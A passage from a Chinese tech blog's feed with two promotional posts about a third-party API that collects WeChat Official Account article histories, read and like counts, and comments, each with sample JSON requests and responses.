&lt;p&gt;如果你的域名不想走备案流程，或者有出海需求，不妨尝试这家。你们有性价比更高的欢迎推荐一下哈&lt;/p&gt;</content><category term="思考"/></entry><entry><title>微信公众号采集，历史发文、评论详情、阅读量互动数据采集接口API</title><link href="https://foofish.net/weixin_gonhzhonghao_api.html" rel="alternate"/><published>2026-01-23T16:09:01+08:00</published><updated>2026-01-23T16:09:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2026-01-23:/weixin_gonhzhonghao_api.html</id><summary type="html">&lt;p&gt;公众号没有开放的文章检索接口，开发者面对的是一面黑墙，你知道里面有东西，但取不出来，这不是你的问题，这是公众号 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;公众号没有开放的文章检索接口，开发者面对的是一面黑墙，你知道里面有东西，但取不出来，这不是你的问题，这是公众号本身的局限。&lt;/p&gt;
&lt;p&gt;用第三方API服务次幂数据，帮你解决这个问题。批量获取指定公众号全部历史文章，结构化返回标题、封面、发布时间、内容等信息，支持分页、自定义筛选。&lt;/p&gt;
&lt;p&gt;不用爬虫，不用担心封号，这些风险和棘手难题，第三方API帮你解决，你只需要专心做你该做的事。&lt;/p&gt;
&lt;h3&gt;1、获取公众号历史文章&lt;/h3&gt;
&lt;p&gt;获取文章标题、链接、封面、发布时间等&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;code&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;data&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;items&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;content_url&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://mp.weixin.qq.com/s?__biz=Mzg2MTY1MTk2Mg==&amp;amp;mid=2247613519&amp;amp;idx=1&amp;amp;sn=759898164a5195723835a6c218ddf0e8&amp;amp;chksm=cff57338bfc24284053a59e7bc364114610e9160ae7ecb908afc386af9130502bbf387ba679d&amp;amp;scene=126&amp;amp;sessionid=0#rd&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;cover&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://mmbiz.qpic.cn/sz_mmbiz_jpg/uYPdrwialyfPCostYEv8SpDjLHhM2Dx551yHLmjWIsGwHysoND2M9scvZCJhb8x7NRN3CqEHuc8sBtX8ia7mic3IQ/640?wxtype=jpeg&amp;amp;wxfrom=0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;digest&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;李政跃2:12:36 福建省第一个男子马拉松国际健将&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;idx&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;published_at&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2025-05-13T19:31:59&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;source_url&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;title&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;没有奇迹 只有累积 #李政跃&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;content_url&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://mp.weixin.qq.com/s?__biz=Mzg2MTY1MTk2Mg==&amp;amp;mid=2247613519&amp;amp;idx=2&amp;amp;sn=392f711f7361215235a058ec9fbb0e5d&amp;amp;chksm=cf46ebf0824edc569a8e98e95a4d78453f532bf2fa3033136eb2aae529f93ab775562ecf79fe&amp;amp;scene=126&amp;amp;sessionid=0#rd&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;cover&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://mmbiz.qpic.cn/sz_mmbiz_jpg/uYPdrwialyfPCostYEv8SpDjLHhM2Dx552DiarOQBOiauyffdQmUqvULa8QU7lUCVw0c7onu9FDsGkXZLVXPsvfmA/640?wxtype=jpeg&amp;amp;wxfrom=0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;digest&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;举办时间：2025年5月14日-16日\n举办地点：重庆·长寿体育中心\n📷🔗：https://www.yipai360.com/photolivepc/?orderId=202505130850416667&amp;amp;amp;channel=h5\n\n&amp;lt;a class=\&amp;quot;wx_topic_link\&amp;quot; style=\&amp;quot;color: #576B95 !important;\&amp;quot; data-topic=\&amp;quot;1\&amp;quot;&amp;gt;#98跑&amp;lt;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;idx&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;published_at&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2025-05-13T19:31:59&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;source_url&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;title&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2025全国田径大奖赛·重庆站 #Moment&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;last_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;CAMQHBjs6PnBBiAeOJjf28EGQAFIAVAA&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;msg&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;success&amp;quot;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;2、获取公众号文章阅读量、点赞、在看数&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;返回示例&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;{
    &amp;quot;code&amp;quot;: 200,
    &amp;quot;data&amp;quot;: {
        &amp;quot;like_num&amp;quot;: 88,
        &amp;quot;old_like_num&amp;quot;: 273,
        &amp;quot;read_num&amp;quot;: 55881
    },
    &amp;quot;msg&amp;quot;: &amp;quot;success&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;3、获取公众号文章评论&lt;/h3&gt;
&lt;p&gt;获取评论详情、评论时间、评论人，回复列表等&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回示例&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;{
    &amp;quot;code&amp;quot;: 200,
    &amp;quot;data&amp;quot;: {
        &amp;quot;buffer&amp;quot;:&amp;quot;xxx&amp;quot;,
        &amp;quot;comments&amp;quot;: [{
            &amp;quot;content&amp;quot;: &amp;quot;指针简单点功能可以弄懂，也可以举一反三写程序，但字符串因为用的少，也就之前做交换机命令行开发的时候用过，所以字符串不太懂，一直希望能有机会或者有好的学习资源将指针和字符串联合使用弄懂。&amp;quot;,
            &amp;quot;content_id&amp;quot;:&amp;quot;21231231231&amp;quot;,
            &amp;quot;country_name&amp;quot;: &amp;quot;中国&amp;quot;,
            &amp;quot;create_time&amp;quot;: &amp;quot;2024-09-23 08:20:45&amp;quot;,
            &amp;quot;like_num&amp;quot;: 3,
            &amp;quot;logo_url&amp;quot;: &amp;quot;http://wx.qlogo.cn/mmopen/kO8UwhfLxXGEYGdiaKR3WMpgJBCGs1USCL0MCB1CL5RyJc5kEtOaV98zqcsVQUZhShAdU3nw9QTtfH964RMbjE4xuFapY7zJib/64&amp;quot;,
            &amp;quot;nick_name&amp;quot;: &amp;quot;智能控制-九俊楚子&amp;quot;,
            &amp;quot;province_name&amp;quot;: &amp;quot;广东&amp;quot;,
            &amp;quot;reply_list&amp;quot;: []
        }, {
            &amp;quot;content&amp;quot;: &amp;quot;作为一个工作多年，已经掌握C精髓，再回过头看的老鸟，会不会有点......，如果作为一个初学者，一上来就搞指针会不会有点迷糊？&amp;quot;,
            &amp;quot;country_name&amp;quot;: &amp;quot;中国&amp;quot;,
            &amp;quot;create_time&amp;quot;: &amp;quot;2024-09-23 09:13:03&amp;quot;,
            &amp;quot;like_num&amp;quot;: 1,
            &amp;quot;logo_url&amp;quot;: &amp;quot;http://wx.qlogo.cn/finderhead/Q3auHgzwzM46TU9Fxic5NcH6ohxy9AvG5S9ZIPibDlv5tNhVBYlj5oXg/64&amp;quot;,
            &amp;quot;nick_name&amp;quot;: &amp;quot;ckw666&amp;quot;,
            &amp;quot;province_name&amp;quot;: &amp;quot;广东&amp;quot;,
            &amp;quot;reply_list&amp;quot;: [{
                &amp;quot;content&amp;quot;: &amp;quot;嗯，不同的阶段，理解会不一样&amp;quot;,
                &amp;quot;create_time&amp;quot;: &amp;quot;2024-09-23 09:41:50&amp;quot;,
                &amp;quot;logo_url&amp;quot;: &amp;quot;http://wx.qlogo.cn/mmhead/Q3auHgzwzM5FmWptyyajClLBQemgJe3kvkWsoeO3BzibdQ0hyCBlQIg/64&amp;quot;,
                &amp;quot;nick_name&amp;quot;: &amp;quot;粤蒲粤好玩&amp;quot;,
                &amp;quot;reply_like_num&amp;quot;: 0
            }]
        }]
    },
    &amp;quot;msg&amp;quot;: &amp;quot;success&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;接口详情：&lt;a href="https://www.cimidata.com/api-service"&gt;https://www.cimidata.com/api-service&lt;/a&gt;&lt;/p&gt;</content><category term="思考"/></entry><entry><title>微信公众号最新文章、历史发文、阅读量互动数据、评论详情采集API接口</title><link href="https://foofish.net/weixingzhapi.html" rel="alternate"/><published>2025-09-01T19:10:06+08:00</published><updated>2025-09-01T19:10:06+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2025-09-01:/weixingzhapi.html</id><summary type="html">&lt;p&gt;微信公众号最新文章、历史发文、阅读量互动数据、评论详情采集API接口&lt;/p&gt;</summary><content type="html">&lt;h4&gt;1、历史文章列表&lt;/h4&gt;
&lt;p&gt;可根据公众号名字获取历史推文列表，字段包含标题、链接、发文时间等等。&lt;/p&gt;
&lt;p&gt;请求内容&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;nickname&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;AI前线&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;返回结果&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;code&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;data&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;items&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;content_url&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://mp.weixin.qq.com/s?__biz=Mzg4OTcyMjM2NQ==&amp;amp;mid=2247489311&amp;amp;idx=1&amp;amp;sn=f750754be093d9c5c415a53715585786&amp;amp;chksm=ce8be6e3f1d34129c12bd7ca0c9dea9d899775af59cd8a9ab29882864480bf7e3246563e6ace&amp;amp;scene=126&amp;amp;sessionid=0#rd&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cover&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;https://mmbiz.qpic.cn/mmbiz_jpg/HOXKEZ4gwibYL9vaP5gXlicZ5Lk652lGtkUcSjBhgYe0OojBiaLFyInfdicWUea8yic7wyYhu4xPOBQxiaGUWeYM7Vzg/640?wxtype=jpeg&amp;amp;wxfrom=0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;digest&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;点击上方蓝字\&amp;quot;野火青年\&amp;quot;即可关注我们\n国庆节祝福文案1、国歌声声入云霄，国旗飒飒迎风飘。国徽闪闪放光芒，国人&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;idx&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;published_at&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;2023-10-01T13:09:50&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;source_url&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://www.wenanyizhan.com/weimeijuzi/22888.html&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;title&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;国庆节祝福文案&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;last_id&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;CAMQChiR0PrBBiAKOJHQ+sEGQABIAVAA&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;msg&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;success&amp;quot;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;2、阅读量互动数据&lt;/h4&gt;
&lt;p&gt;根据链接获取文章的互动数据，包括阅读量、点赞数、转发数、推荐数等&lt;/p&gt;
&lt;p&gt;请求内容&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;{&amp;quot;url&amp;quot;:&amp;quot;https://mp.weixin.qq.com/s/Tx0vWGun1H318zV-AsoSMA&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;返回结果&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;code&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;data&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;like_num&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;old_like_num&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;read_num&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;26188&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;share_num&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1097&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;msg&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;success&amp;quot;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;3、获取评论详情&lt;/h4&gt;
&lt;p&gt;请求内容&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;url&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;https://mp.weixin.qq.com/s/Tx0vWGun1H318zV-AsoSMA&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;返回结果&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;code&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;data&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;buffer&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;GAQwAA==&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;comments&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;直通标准这么低吗，感觉名额会被直通的填满了&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;content_id&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;3878586155276435475&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;country_name&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;中国&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;create_time&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;2025-08-28 10:09:12&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;like_num&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;logo_url&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://wx.qlogo.cn/mmopen/WQqIUVS9p2kahlgPl7QBBEkMKiaFyV6171ib607taa7oDHwXgz7lDI5v9DbfBVm2svkYHic9YicLszMKZyP10hCdaQ/64&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;nick_name&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;LLP&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;province_name&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;上海&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;reply_list&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;msg&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;success&amp;quot;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

